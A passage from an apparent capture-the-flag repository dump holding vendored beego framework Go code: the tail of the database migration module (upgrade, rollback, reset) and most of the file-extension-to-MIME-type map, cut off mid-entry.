{\n\t\tlogs.Info(\"exec sql:\", s)\n\t\tr := o.Raw(s)\n\t\t_, err := r.Exec()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn m.addOrUpdateRecord(name, status)\n}\n\nfunc (m *Migration) addOrUpdateRecord(name, status string) error {\n\to := orm.NewOrm()\n\tif status == \"down\" {\n\t\tstatus = \"rollback\"\n\t\tp, err := o.Raw(\"update migrations set status = ?, rollback_statements = ?, created_at = ? where name = ?\").Prepare()\n\t\tif err != nil {\n\t\t\treturn nil\n\t\t}\n\t\t_, err = p.Exec(status, strings.Join(m.sqls, \"; \"), time.Now().Format(DBDateFormat), name)\n\t\treturn err\n\t}\n\tstatus = \"update\"\n\tp, err := o.Raw(\"insert into migrations(name, created_at, statements, status) values(?,?,?,?)\").Prepare()\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = p.Exec(name, time.Now().Format(DBDateFormat), strings.Join(m.sqls, \"; \"), status)\n\treturn err\n}\n\n// GetCreated get the unixtime from the Created\nfunc (m *Migration) GetCreated() int64 {\n\tt, err := time.Parse(DateFormat, m.Created)\n\tif err != nil {\n\t\treturn 0\n\t}\n\treturn t.Unix()\n}\n\n// Register register the Migration in the map\nfunc Register(name string, m Migrationer) error {\n\tif _, ok := migrationMap[name]; ok {\n\t\treturn errors.New(\"already exist name:\" + name)\n\t}\n\tmigrationMap[name] = m\n\treturn nil\n}\n\n// Upgrade upgrade the migration from lasttime\nfunc Upgrade(lasttime int64) error {\n\tsm := sortMap(migrationMap)\n\ti := 0\n\tfor _, v := range sm {\n\t\tif v.created > lasttime {\n\t\t\tlogs.Info(\"start upgrade\", v.name)\n\t\t\tv.m.Reset()\n\t\t\tv.m.Up()\n\t\t\terr := v.m.Exec(v.name, \"up\")\n\t\t\tif err != nil {\n\t\t\t\tlogs.Error(\"execute error:\", err)\n\t\t\t\ttime.Sleep(2 * time.Second)\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tlogs.Info(\"end upgrade:\", v.name)\n\t\t\ti++\n\t\t}\n\t}\n\tlogs.Info(\"total success upgrade:\", i, \" migration\")\n\ttime.Sleep(2 * time.Second)\n\treturn nil\n}\n\n// Rollback rollback the migration by the name\nfunc Rollback(name string) error {\n\tif v, ok := migrationMap[name]; ok {\n\t\tlogs.Info(\"start rollback\")\n\t\tv.Reset()\n\t\tv.Down()\n\t\terr := v.Exec(name, \"down\")\n\t\tif err != nil {\n\t\t\tlogs.Error(\"execute error:\", err)\n\t\t\ttime.Sleep(2 * time.Second)\n\t\t\treturn err\n\t\t}\n\t\tlogs.Info(\"end rollback\")\n\t\ttime.Sleep(2 * time.Second)\n\t\treturn nil\n\t}\n\tlogs.Error(\"not exist the migrationMap name:\" + name)\n\ttime.Sleep(2 * time.Second)\n\treturn errors.New(\"not exist the migrationMap name:\" + name)\n}\n\n// Reset reset all migration\n// run all migration's down function\nfunc Reset() error {\n\tsm := sortMap(migrationMap)\n\ti := 0\n\tfor j := len(sm) - 1; j >= 0; j-- {\n\t\tv := sm[j]\n\t\tif isRollBack(v.name) {\n\t\t\tlogs.Info(\"skip the\", v.name)\n\t\t\ttime.Sleep(1 * time.Second)\n\t\t\tcontinue\n\t\t}\n\t\tlogs.Info(\"start reset:\", v.name)\n\t\tv.m.Reset()\n\t\tv.m.Down()\n\t\terr := v.m.Exec(v.name, \"down\")\n\t\tif err != nil {\n\t\t\tlogs.Error(\"execute error:\", err)\n\t\t\ttime.Sleep(2 * time.Second)\n\t\t\treturn err\n\t\t}\n\t\ti++\n\t\tlogs.Info(\"end reset:\", v.name)\n\t}\n\tlogs.Info(\"total success reset:\", i, \" migration\")\n\ttime.Sleep(2 * time.Second)\n\treturn nil\n}\n\n// Refresh first Reset, then Upgrade\nfunc Refresh() error {\n\terr := Reset()\n\tif err != nil {\n\t\tlogs.Error(\"execute error:\", err)\n\t\ttime.Sleep(2 * time.Second)\n\t\treturn err\n\t}\n\terr = Upgrade(0)\n\treturn err\n}\n\ntype dataSlice []data\n\ntype data struct {\n\tcreated int64\n\tname    string\n\tm       Migrationer\n}\n\n// Len is part of sort.Interface.\nfunc (d dataSlice) Len() int {\n\treturn len(d)\n}\n\n// Swap is part of sort.Interface.\nfunc (d dataSlice) Swap(i, j int) {\n\td[i], d[j] = d[j], d[i]\n}\n\n// Less is part of sort.Interface. We use count as the value to sort by\nfunc (d dataSlice) Less(i, j int) bool {\n\treturn d[i].created < d[j].created\n}\n\nfunc sortMap(m map[string]Migrationer) dataSlice {\n\ts := make(dataSlice, 0, len(m))\n\tfor k, v := range m {\n\t\td := data{}\n\t\td.created = v.GetCreated()\n\t\td.name = k\n\t\td.m = v\n\t\ts = append(s, d)\n\t}\n\tsort.Sort(s)\n\treturn s\n}\n\nfunc isRollBack(name string) bool {\n\to := orm.NewOrm()\n\tvar maps []orm.Params\n\tnum, err := o.Raw(\"select * from migrations where `name` = ? order by id_migration desc\", name).Values(&maps)\n\tif err != nil {\n\t\tlogs.Info(\"get name has error\", err)\n\t\treturn false\n\t}\n\tif num <= 0 {\n\t\treturn false\n\t}\n\tif maps[0][\"status\"] == \"rollback\" {\n\t\treturn true\n\t}\n\treturn false\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/mime.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage beego\n\nvar mimemaps = map[string]string{\n\t\".3dm\":         \"x-world/x-3dmf\",\n\t\".3dmf\":        \"x-world/x-3dmf\",\n\t\".7z\":          \"application/x-7z-compressed\",\n\t\".a\":           \"application/octet-stream\",\n\t\".aab\":         \"application/x-authorware-bin\",\n\t\".aam\":         \"application/x-authorware-map\",\n\t\".aas\":         \"application/x-authorware-seg\",\n\t\".abc\":         \"text/vndabc\",\n\t\".ace\":         \"application/x-ace-compressed\",\n\t\".acgi\":        \"text/html\",\n\t\".afl\":         \"video/animaflex\",\n\t\".ai\":          \"application/postscript\",\n\t\".aif\":         \"audio/aiff\",\n\t\".aifc\":        \"audio/aiff\",\n\t\".aiff\":        \"audio/aiff\",\n\t\".aim\":         \"application/x-aim\",\n\t\".aip\":         \"text/x-audiosoft-intra\",\n\t\".alz\":         \"application/x-alz-compressed\",\n\t\".ani\":         \"application/x-navi-animation\",\n\t\".aos\":         \"application/x-nokia-9000-communicator-add-on-software\",\n\t\".aps\":         \"application/mime\",\n\t\".apk\":         \"application/vnd.android.package-archive\",\n\t\".arc\":         \"application/x-arc-compressed\",\n\t\".arj\":         \"application/arj\",\n\t\".art\":         \"image/x-jg\",\n\t\".asf\":         \"video/x-ms-asf\",\n\t\".asm\":         \"text/x-asm\",\n\t\".asp\":         \"text/asp\",\n\t\".asx\":         \"application/x-mplayer2\",\n\t\".au\":          \"audio/basic\",\n\t\".avi\":         \"video/x-msvideo\",\n\t\".avs\":         \"video/avs-video\",\n\t\".bcpio\":       \"application/x-bcpio\",\n\t\".bin\":         \"application/mac-binary\",\n\t\".bmp\":         \"image/bmp\",\n\t\".boo\":         \"application/book\",\n\t\".book\":        \"application/book\",\n\t\".boz\":         \"application/x-bzip2\",\n\t\".bsh\":         \"application/x-bsh\",\n\t\".bz2\":         \"application/x-bzip2\",\n\t\".bz\":          \"application/x-bzip\",\n\t\".c++\":         \"text/plain\",\n\t\".c\":           \"text/x-c\",\n\t\".cab\":         \"application/vnd.ms-cab-compressed\",\n\t\".cat\":         \"application/vndms-pkiseccat\",\n\t\".cc\":          \"text/x-c\",\n\t\".ccad\":        \"application/clariscad\",\n\t\".cco\":         \"application/x-cocoa\",\n\t\".cdf\":         \"application/cdf\",\n\t\".cer\":         \"application/pkix-cert\",\n\t\".cha\":         \"application/x-chat\",\n\t\".chat\":        \"application/x-chat\",\n\t\".chrt\":        \"application/vnd.kde.kchart\",\n\t\".class\":       \"application/java\",\n\t\".com\":         \"text/plain\",\n\t\".conf\":        \"text/plain\",\n\t\".cpio\":        \"application/x-cpio\",\n\t\".cpp\":         \"text/x-c\",\n\t\".cpt\":         \"application/mac-compactpro\",\n\t\".crl\":         \"application/pkcs-crl\",\n\t\".crt\":         \"application/pkix-cert\",\n\t\".crx\":         \"application/x-chrome-extension\",\n\t\".csh\":         \"text/x-scriptcsh\",\n\t\".css\":         \"text/css\",\n\t\".csv\":         \"text/csv\",\n\t\".cxx\":         \"text/plain\",\n\t\".dar\":         \"application/x-dar\",\n\t\".dcr\":         \"application/x-director\",\n\t\".deb\":         \"application/x-debian-package\",\n\t\".deepv\":       \"application/x-deepv\",\n\t\".def\":         \"text/plain\",\n\t\".der\":         \"application/x-x509-ca-cert\",\n\t\".dif\":         \"video/x-dv\",\n\t\".dir\":         \"application/x-director\",\n\t\".divx\":        \"video/divx\",\n\t\".dl\":          \"video/dl\",\n\t\".dmg\":         \"application/x-apple-diskimage\",\n\t\".doc\":         \"application/msword\",\n\t\".dot\":         \"application/msword\",\n\t\".dp\":          \"application/commonground\",\n\t\".drw\":         \"application/drafting\",\n\t\".dump\":        \"application/octet-stream\",\n\t\".dv\":          \"video/x-dv\",\n\t\".dvi\":         \"application/x-dvi\",\n\t\".dwf\":         \"drawing/x-dwf=(old)\",\n\t\".dwg\":         \"application/acad\",\n\t\".dxf\":         \"application/dxf\",\n\t\".dxr\":         \"application/x-director\",\n\t\".el\":          \"text/x-scriptelisp\",\n\t\".elc\":         \"application/x-bytecodeelisp=(compiled=elisp)\",\n\t\".eml\":         \"message/rfc822\",\n\t\".env\":         \"application/x-envoy\",\n\t\".eps\":         \"application/postscript\",\n\t\".es\":          \"application/x-esrehber\",\n\t\".etx\":         \"text/x-setext\",\n\t\".evy\":         \"application/envoy\",\n\t\".exe\":         \"application/octet-stream\",\n\t\".f77\":         \"text/x-fortran\",\n\t\".f90\":         \"text/x-fortran\",\n\t\".f\":           \"text/x-fortran\",\n\t\".fdf\":         \"application/vndfdf\",\n\t\".fif\":         \"application/fractals\",\n\t\".fli\":         \"video/fli\",\n\t\".flo\":         \"image/florian\",\n\t\".flv\":         \"video/x-flv\",\n\t\".flx\":         \"text/vndfmiflexstor\",\n\t\".fmf\":         \"video/x-atomic3d-feature\",\n\t\".for\":         \"text/x-fortran\",\n\t\".fpx\":         \"image/vndfpx\",\n\t\".frl\":         \"application/freeloader\",\n\t\".funk\":        \"audio/make\",\n\t\".g3\":          \"image/g3fax\",\n\t\".g\":           \"text/plain\",\n\t\".gif\":         \"image/gif\",\n\t\".gl\":          \"video/gl\",\n\t\".gsd\":         \"audio/x-gsm\",\n\t\".gsm\":         \"audio/x-gsm\",\n\t\".gsp\":         \"application/x-gsp\",\n\t\".gss\":         \"application/x-gss\",\n\t\".gtar\":        \"application/x-gtar\",\n\t\".gz\":          \"application/x-compressed\",\n\t\".gzip\":        \"application/x-gzip\",\n\t\".h\":           \"text/x-h\",\n\t\".hdf\":         \"application/x-hdf\",\n\t\".help\":        \"application/x-helpfile\",\n\t\".hgl\":         \"application/vndhp-hpgl\",\n\t\".hh\":          \"text/x-h\",\n\t\".hlb\":         \"text/x-script\",\n\t\".hlp\":         \"application/hlp\",\n\t\".hpg\":         \"application/vndhp-hpgl\",\n\t\".hpgl\":        \"application/vndhp-hpgl\",\n\t\".hqx\":         \"application/binhex\",\n\t\".hta\":         \"application/hta\",\n\t\".htc\":         \"text/x-component\",\n\t\".htm\":         \"text/html\",\n\t\".html\":        \"text/html\",\n\t\".htmls\":       \"text/html\",\n\t\".htt\":         \"text/webviewhtml\",\n\t\".htx\":         \"text/html\",\n\t\".ice\":         \"x-conference/x-cooltalk\",\n\t\".ico\":         \"image/x-icon\",\n\t\".ics\":         \"text/calendar\",\n\t\".icz\":         \"text/calendar\",\n\t\".idc\":         \"text/plain\",\n\t\".ief\":         \"image/ief\",\n\t\".iefs\":        \"image/ief\",\n\t\".iges\":        \"application/iges\",\n\t\".igs\":         \"application/iges\",\n\t\".ima\":         \"application/x-ima\",\n\t\".imap\":        \"application/x-httpd-imap\",\n\t\".inf\":         \"application/inf\",\n\t\".ins\":         \"application/x-internett-signup\",\n\t\".ip\":          \"application/x-ip2\",\n\t\".isu\":         \"video/x-isvideo\",\n\t\".it\":          \"audio/it\",\n\t\".iv\":          \"application/x-inventor\",\n\t\".ivr\":         \"i-world/i-vrml\",\n\t\".ivy\":         \"application/x-livescreen\",\n\t\".jam\":         \"audio/x-jam\",\n\t\".jav\":         \"text/x-java-source\",\n\t\".java\":        \"text/x-java-source\",\n\t\".jcm\":         \"application/x-java-commerce\",\n\t\".jfif-tbnl\":   \"image/jpeg\",\n\t\".jfif\":        \"image/jpeg\",\n\t\".jnlp\":        \"application/x-java-jnlp-file\",\n\t\".jpe\":         \"image/jpeg\",\n\t\".jpeg\":        \"image/jpeg\",\n\t\".jpg\":         \"image/jpeg\",\n\t\".jps\":         \"image/x-jps\",\n\t\".js\":          \"application/javascript\",\n\t\".json\":        \"application/json\",\n\t\".jut\":         \"image/jutvision\",\n\t\".kar\":         \"audio/midi\",\n\t\".karbon\":      \"application/vnd.kde.karbon\",\n\t\".kfo\":         \"application/vnd.kde.kformula\",\n\t\".flw\":         \"application/vnd.kde.kivio\",\n\t\".kml\":         \"application/vnd.google-earth.kml+xml\",\n\t\".kmz\":         \"application/vnd.google-earth.kmz\",\n\t\".kon\":         \"application/vnd.kde.kontour\",\n\t\".kpr\":         \"application/vnd.kde.kpresenter\",\n\t\".kpt\":         \"application/vnd.kde.kpresenter\",\n\t\".ksp\":         \"application/vnd.kde.kspread\",\n\t\".kwd\":         \"application/vnd.kde.kword\",\n\t\".kwt\":         \"application/vnd.kde.kword\",\n\t\".ksh\":         \"text/x-scriptksh\",\n\t\".la\":          \"audio/nspaudio\",\n\t\".lam\":         \"audio/x-liveaudio\",\n\t\".latex\":       \"application/x-latex\",\n\t\".lha\":         \"application/lha\",\n\t\".lhx\":         \"application/octet-stream\",\n\t\".list\":        \"text/plain\",\n\t\".lma\":         \"audio/nspaudio\",\n\t\".log\":         \"text/plain\",\n\t\".lsp\":         \"text/x-scriptlisp\",\n\t\".lst\":         \"text/plain\",\n\t\".lsx\":         \"text/x-la-asf\",\n\t\".ltx\":         \"application/x-latex\",\n\t\".lzh\":         \"application/octet-stream\",\n\t\".lzx\":         \"application/lzx\",\n\t\".m1v\":         \"video/mpeg\",\n\t\".m2a\":         \"audio/mpeg\",\n\t\".m2v\":         \"video/mpeg\",\n\t\".m3u\":         \"audio/x-mpegurl\",\n\t\".m\":           \"text/x-m\",\n\t\".man\":         \"application/x-troff-man\",\n\t\".manifest\":    \"text/cache-manifest\",\n\t\".map\":         \"application/x-navimap\",\n\t\".mar\":         \"text/plain\",\n\t\".mbd\":         \"application/mbedlet\",\n\t\".mc$\":         \"application/x-magic-cap-package-10\",\n\t\".mcd\":         \"application/mcad\",\n\t\".mcf\":         \"text/mcf\",\n\t\".mcp\":         \"application/netmc\",\n\t\".me\":          \"application/x-troff-me\",\n\t\".mht\":         \"message/rfc822\",\n\t\".mhtml\":       \"message/rfc822\",\n\t\".mid\":         \"application/x-midi\",\n\t\".midi\":        \"application/x-midi\",\n\t\".mif\":         \"application/x-frame\",\n\t\".mime\":        \"message/rfc822\",\n\t\".mjf\":         \"audio/x-vndaudioexplosionmjuicemediafile\",\n\t\".mjpg\":        \"video/x-motion-jpeg\",\n\t\".mm\":          \"application/base64\",\n\t\".mme\":         \"application/base64\",\n\t\".mod\":         \"audio/mod\",\n\t\".moov\":        \"video/quicktime\",\n\t\".mov\":         \"video/quicktime\",\n\t\".movie\":       \"video/x-sgi-movie\",\n\t\".mp2\":         \"audio/mpeg\",\n\t\".mp3\":         \"audio/mpeg3\",\n\t\".mp4\":         \"video/mp4\",\n\t\".mpa\":         \"audio/mpeg\",\n\t\".mpc\":         \"application/x-project\",\n\t\".mpe\":         \"video/mpeg\",\n\t\".mpeg\":        \"video/mpeg\",\n\t\".mpg\":         \"video/mpeg\",\n\t\".mpga\":        \"audio/mpeg\",\n\t\".mpp\":         \"application/vndms-project\",\n\t\".mpt\":         \"application/x-project\",\n\t\".mpv\":         \"application/x-project\",\n\t\".mpx\":         \"application/x-project\",\n\t\".mrc\":         \"application/marc\",\n\t\".ms\":          \"application/x-troff-ms\",\n\t\".mv\":          \"video/x-sgi-movie\",\n\t\".my\":          \"audio/make\",\n\t\".mzz\":         \"application/x-vndaudioexplosionmzz\",\n\t\".nap\":         \"image/naplps\",\n\t\".naplps\":      \"image/naplps\",\n\t\".nc\":          \"application/x-netcdf\",\n\t\".ncm\":         \"application/vndnokiaconfiguration-message\",\n\t\".nif\":         \"image/x-niff\",\n\t\".niff\":        \"image/x-niff\",\n\t\".nix\":         \"application/x-mix-transfer\",\n\t\".nsc\":         \"application/x-conference\",\n\t\".nvd\":         \"application/x-navidoc\",\n\t\".o\":           \"application/octet-stream\",\n\t\".oda\":         \"application/oda\",\n\t\".odb\":         \"application/vnd.oasis.opendocument.database\",\n\t\".odc\":         \"application/vnd.oasis.opendocument.chart\",\n\t\".odf\":         \"application/vnd.oasis.opendocument.formula\",\n\t\".odg\":         \"application/vnd.oasis.opendocument.graphics\",\n\t\".odi\":         \"application/vnd.oasis.opendocument.image\",\n\t\".odm\":         \"application/vnd.oasis.opendocument.text-master\",\n\t\".odp\":         \"application/vnd.oasis.opendocument.presentation\",\n\t\".ods\":         \"application/vnd.oasis.opendocument.spreadsheet\",\n\t\".odt\":         \"application/vnd.oasis.opendocument.text\",\n\t\".oga\":         \"audio/ogg\",\n\t\".ogg\":         \"audio/ogg\",\n\t\".ogv\":         \"video/ogg\",\n\t\".omc\":         \"application/x-omc\",\n\t\".omcd\":        \"application/x-omcdatamaker\",\n\t\".omcr\":        \"application/x-omcregerator\",\n\t\".otc\":         \"application/vnd.oasis.opendocument.chart-template\",\n\t\".otf\":         \"application/vnd.oasis.opendocument.formula-template\",\n\t\".otg\":         \"application/vnd.oasis.opendocument.graphics-template\",\n\t\".oth\":         \"application/vnd.oasis.opendocument.text-web\",\n\t\".oti\":         \"application/vnd.oasis.opendocument.image-template\",\n\t\".otm\":         \"application/vnd.oasis.opendocument.text-master\",\n\t\".otp\":         \"application/vnd.oasis.opendocument.presentation-template\",\n\t\".ots\":         \"application/vnd.oasis.opendocument.spreadsheet-template\",\n\t\".ott\":         \"application/vnd.oasis.opendocument.text-template\",\n\t\".p10\":         \"application/pkcs10\",\n\t\".p12\":         \"application/pkcs-12\",\n\t\".p7a\":         \"application/x-pkcs7-signature\",\n\t\".p7c\":         \"application/pkcs7-mime\",\n\t\".p7m\":         \"application/pkcs7-mime\",\n\t\".p7r\":         \"application/x-pkcs7-certreqresp\",\n\t\".p7s\":         \"application/pkcs7-signature\",\n\t\".p\":           \"text/x-pascal\",\n\t\".part\":        \"application/pro_eng\",\n\t\".pas\":         \"text/pascal\",\n\t\".pbm\":         \"image/x-portable-bitmap\",\n\t\".pcl\":         \"application/vndhp-pcl\",\n\t\".pct\":         \"image/x-pict\",\n\t\".pcx\":         \"image/x-pcx\",\n\t\".pdb\":         \"chemical/x-pdb\",\n\t\".pdf\":         \"application/pdf\",\n\t\".pfunk\":       \"audio/make\",\n\t\".pgm\":         \"image/x-portable-graymap\",\n\t\".pic\":         \"image/pict\",\n\t\".pict\":        \"image/pict\",\n\t\".pkg\":         \"application/x-newton-compatible-pkg\",\n\t\".pko\":         \"application/vndms-pkipko\",\n\t\".pl\":          \"text/x-scriptperl\",\n\t\".plx\":         \"application/x-pixclscript\",\n\t\".pm4\":         \"application/x-pagemaker\",\n\t\".pm5\":         \"application/x-pagemaker\",\n\t\".pm\":          \"text/x-scriptperl-module\",\n\t\".png\":         \"image/png\",\n\t\".pnm\":         \"application/x-portable-anymap\",\n\t\".pot\":         \"application/mspowerpoint\",\n\t\".pov\":         \"model/x-pov\",\n\t\".ppa\":         \"application/vndms-powerpoint\",\n\t\".ppm\":         \"image/x-portable-pixmap\",\n\t\".pps\":         \"application/mspowerpoint\",\n\t\".ppt\":         \"application/mspowerpoint\",\n\t\".ppz\":         \"application/mspowerpoint\",\n\t\".pre\":         \"application/x-freelance\",\n\t\".prt\":         \"application/pro_eng\",\n\t\".ps\":          \"application/postscript\",\n\t\".psd\":         \"application/octet-stream\",\n\t\".pvu\":         \"paleovu/x-pv\",\n\t\".pwz\":         \"application/vndms-powerpoint\",\n\t\".py\":          \"text/x-scriptphyton\",\n\t\".pyc\":         \"application/x-bytecodepython\",\n\t\".qcp\":         \"audio/vndqcelp\",\n\t\".qd3\":         \"x-world/x-3dmf\",\n\t\".qd3d\":        \"x-world/x-3dmf\",\n\t\".qif\":         \"image/x-quicktime\",\n\t\".qt\":          \"video/quicktime\",\n\t\".qtc\":         \"video/x-qtc\",\n\t\".qti\":         \"image/x-quicktime\",\n\t\".qtif\":        \"image/x-quicktime\",\n\t\".ra\":          \"audio/x-pn-realaudio\",\n\t\".ram\":         \"audio/x-pn-realaudio\",\n\t\".rar\":         \"application/x-rar-compressed\",\n\t\".ras\":         \"application/x-cmu-raster\",\n\t\".rast\":        \"image/cmu-raster\",\n\t\".rexx\":        \"text/x-scriptrexx\",\n\t\".rf\":          \"image/vndrn-realflash\",\n\t\".rgb\":         \"image/x-rgb\",\n\t\".rm\":          \"application/vndrn-realmedia\",\n\t\".rmi\":         \"audio/mid\",\n\t\".rmm\":         \"audio/x-pn-realaudio\",\n\t\".rmp\":         \"audio/x-pn-realaudio\",\n\t\".rng\":         \"application/ringing-tones\",\n\t\".rnx\":         \"application/vndrn-realplayer\",\n\t\".roff\":        \"application/x-troff\",\n\t\".rp\":          \"image/vndrn-realpix\",\n\t\".rpm\":         \"audio/x-pn-realaudio-plugin\",\n\t\".rt\":          \"text/vndrn-realtext\",\n\t\".rtf\":         \"text/richtext\",\n\t\".rtx\":         \"text/richtext\",\n\t\".rv\":          \"video/vndrn-realvideo\",\n\t\".s\":           \"text/x-asm\",\n\t\".s3m\":         \"audio/s3m\",\n\t\".s7z\":         \"application/x-7z-compressed\",\n\t\".saveme\":      \"application/octet-stream\",\n\t\".sbk\":         \"application/x-tbook\",\n\t\".scm\":         \"text/x-scriptscheme\",\n\t\".sdml\":        \"text/plain\",\n\t\".sdp\":         \"application/sdp\",\n\t\".sdr\":         \"application/sounder\",\n\t\".sea\":         \"application/sea\",\n\t\".set\":         \"application/set\",\n\t\".sgm\":         \"text/x-sgml\",\n\t\".sgml\":        \"text/x-sgml\",\n\t\".sh\":          \"text/x-scriptsh\",\n\t\".shar\":        \"application/x-bsh\",\n\t\".shtml\":       \"text/x-server-parsed-html\",\n\t\".sid\":         \"audio/x-psid\",\n\t\".skd\":         \"application/x-koan\",\n\t\".skm\":         \"application/x-koan\",\n\t\".skp\":         \"application/x-koan\",\n\t\".skt\":         \"application/x-koan\",\n\t\".sit\":         \"application/x-stuffit\",\n\t\".sitx\":        \"application/x-stuffitx\",\n\t\".sl\":          \"application/x-seelogo\",\n\t\".smi\":         \"application/smil\",\n\t\".smil\":        \"application/smil\",\n\t\".snd\":         \"audio/basic\",\n\t\".sol\":         \"application/solids\",\n\t\".spc\":         \"text/x-speech\",\n\t\".spl\":         \"application/futuresplash\",\n\t\".spr\":         \"application/x-sprite\",\n\t\".sprite\":      \"application/x-sprite\",\n\t\".spx\":         \"audio/ogg\",\n\t\".src\":         \"application/x-wais-source\",\n\t\".ssi\":         \"text/x-server-parsed-html\",\n\t\".ssm\":         \"application/streamingmedia\",\n\t\".sst\":         \"application/vndms-pkicertstore\",\n\t\".step\":        \"application/step\",\n\t\".stl\":         \"application/sla\",\n\t\".stp\":         \"application/step\",\n\t\".sv4cpio\":     \"application/x-sv4cpio\",\n\t\".sv4crc\":      \"application/x-sv4crc\",\n\t\".svf\":         \"image/vnddwg\",\n\t\".svg\":         \"image/svg+xml\",\n\t\".svr\":         \"application/x-world\",\n\t\".swf\":         \"application/x-shockwave-flash\",\n\t\".t\":           \"application/x-troff\",\n\t\".talk\":        \"text/x-speech\",\n\t\".tar\":         \"application/x-tar\",\n\t\".tbk\":         \"application/toolbook\",\n\t\".tcl\":         \"text/x-scripttcl\",\n\t\".tcsh\":        \"text/x-scripttcsh\",\n\t\".tex\":         \"application/x-tex\",\n\t\".texi\":        \"application/x-texinfo\",\n\t\".texinfo\":     \"application/x-texinfo\",\n\t\".text\":        \"text/plain\",\n\t\".tgz\":         \"application/gnutar\",\n\t\".tif\":         \"image/tiff\",\n\t\".tiff\":        \"image/tiff\",\n\t\".tr\":          \"application/x-troff\",\n\t\".tsi\":         \"audio/tsp-audio\",\n\t\".tsp\":         \"application/dsptype\",\n\t\".tsv\":         \"text/tab-separated-values\",\n\t\".turbot\":      \"image/florian\",\n\t\".txt\":         \"text/plain\",\n\t\".uil\":         \"text/x-uil\",\n\t\".uni\":         \"text/uri-list\",\n\t\".unis\":        \"text/uri-list\",\n\t\".unv\":         \"application/i-deas\",\n\t\".uri\":         \"text/uri-list\",\n\t\".uris\":        \"text/uri-list\",\n\t\".ustar\":       \"application/x-ustar\",\n\t\".uu\":          \"text/x-uuencode\",\n\t\".uue\":         \"text/x-uuencode\",\n\t\".vcd\":         \"application/x-cdlink\",\n\t\".vcf\":         \"text/x-vcard\",\n\t\".vcard\":       \"text/x-vcard\",\n\t\".vcs\":         \"text/x-vcalendar\",\n\t\".vda\":         \"application/vda\",\n\t\".vdo\":         \"video/vdo\",\n\t\".vew\":         \"application/groupwise\",\n\t\".viv\":         \"video/vivo\",\n\t\".vivo\":        \"video/vivo\",\n\t\".vmd\":         \"application/vocaltec-media-desc\",\n\t\".vmf\":         \"application/vocaltec-media-file\",\n\t\".voc\":         \"audio/voc\",\n\t\".vos\":         \"video/vosaic\",\n\t\".vox\":         \"audio/voxware\",\n\t\".vqe\":         \"audio/x-twinvq-plugin\",\n\t\".vqf\":         \"audio/x-twinvq\",\n\t\".vql\":         \"audio/x-twinvq-plugin\",\n\t\".vrml\":        \"application/x-vrml\",\n\t\".vrt\":         \"x-world/x-vrt\",\n\t\".vsd\":         \"application/x-visio\",\n\t\".vst\":         \"application/x-visio\",\n\t\".vsw\":         \"application/x-visio\",\n\t\".w60\":         \"application/wordperfect60\",\n\t\".w61\":         \"application/wordperfect61\",\n\t\".w6w\":         \"application/msword\",\n\t\".wav\":         \"audio/wav\",\n\t\".wb1\":         \"application/x-qpro\",\n\t\".wbmp\":        \"image/vnd.wap.wbmp\",\n\t\".web\":         \"application/vndxara\",\n\t\".wiz\":         \"application/msword\",\n\t\".wk1\":         \"application/x-123\",\n\t\".wmf\":         \"windows/metafile\",\n\t\".wml\":         \"text/vnd.wap.wml\",\n\t\".wmlc\":        \"application/vnd.wap.wmlc\",\n\t\".wmls\":        \"text/vnd.wap.wmlscript\",\n\t\".wmlsc\":       \"application/vnd.wap.wmlscriptc\",\n\t\".word\":        \"application/msword\",\n\t\".wp5\":         \"application/wordperfect\",\n\t\".wp6\":         \"application/wordperfect\",\n\t\".wp\":          \"application/wordperfect\",\n\t\".wpd\":         \"application/wordperfect\",\n\t\".wq1\":         \"application/x-lotus\",\n\t\".wri\":         \"application/mswrite\",\n\t\".wrl\":         \"application/x-world\",\n\t\".wrz\":         \"model/vrml\",\n\t\".wsc\":         \"text/scriplet\",\n\t\".wsrc\":        \"application/x-wais-source\",\n\t\".wtk\":         \"application/x-wintalk\",\n\t\".x-png\":       \"image/png\",\n\t\".xbm\":         \"image/x-xbitmap\",\n\t\".xdr\":         \"video/x-amt-demorun\",\n\t\".xgz\":         \"xgl/drawing\",\n\t\".xif\":         \"image/vndxiff\",\n\t\".xl\":          \"application/excel\",\n\t\".xla\":         \"application/excel\",\n\t\".xlb\":         \"application/excel\",\n\t\".xlc\":         \"application/excel\",\n\t\".xld\":         \"application/excel\",\n\t\".xlk\":         \"application/excel\",\n\t\".xll\":         \"application/excel\",\n\t\".xlm\":         \"application/excel\",\n\t\".xls\":         \"application/excel\",\n\t\".xlt\":         \"application/excel\",\n\t\".xlv\":         \"application/excel\",\n\t\".xlw\":         \"application/excel\",\n\t\".xm\":          \"audio/xm\",\n\t\".xml\":         \"text/xml\",\n\t\".xmz\":         \"xgl/movie\",\n\t\".xpix\":        \"application/x-vndls-xpix\",\n\t\".xpm\":         \"image/x-xpixmap\",\n\t\".xsr\":         \"video/x-amt-showrun\",\n\t\".xwd\":         \"image/x-xwd\",\n\t\".xyz\":         \"chemical/x-pdb\",\n\t\".z\":           \"application/x-compress\",\n\t\".zip\":         \"application/zip\",\n\t\".zoo\":         \"application/octet-stream\",\n\t\".zsh\":         \"text/x-scriptzsh\",\n\t\".docx\":        \"application/vnd.openxmlformats-officedocument.wordprocessingml.document\",\n\t\".docm\":        \"application/vnd.ms-word.document.macroEnabled.12\",\n\t\".dotx\":        \"application/vnd.openxmlformats-officedocument.wordprocessingml.template\",\n\t\".dotm\":        \"application/vnd.ms-word.template.macroEnabled.12\",\n\t\".xlsx\":        \"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\",\n\t\".xlsm\":        \"application/vnd.ms-excel.sheet.macroEnabled.12\",\n\t\".xltx\":        \"application/vnd.openxmlformats-officedocument.spreadsheetml.template\",\n\t\".xltm\":        \"application/vnd.ms-excel.template.macroEnabled.12\",\n\t\".xlsb\":        \"application/vnd.ms-excel.sheet.binary.macroEnabled.12\",\n\t\".xlam\":        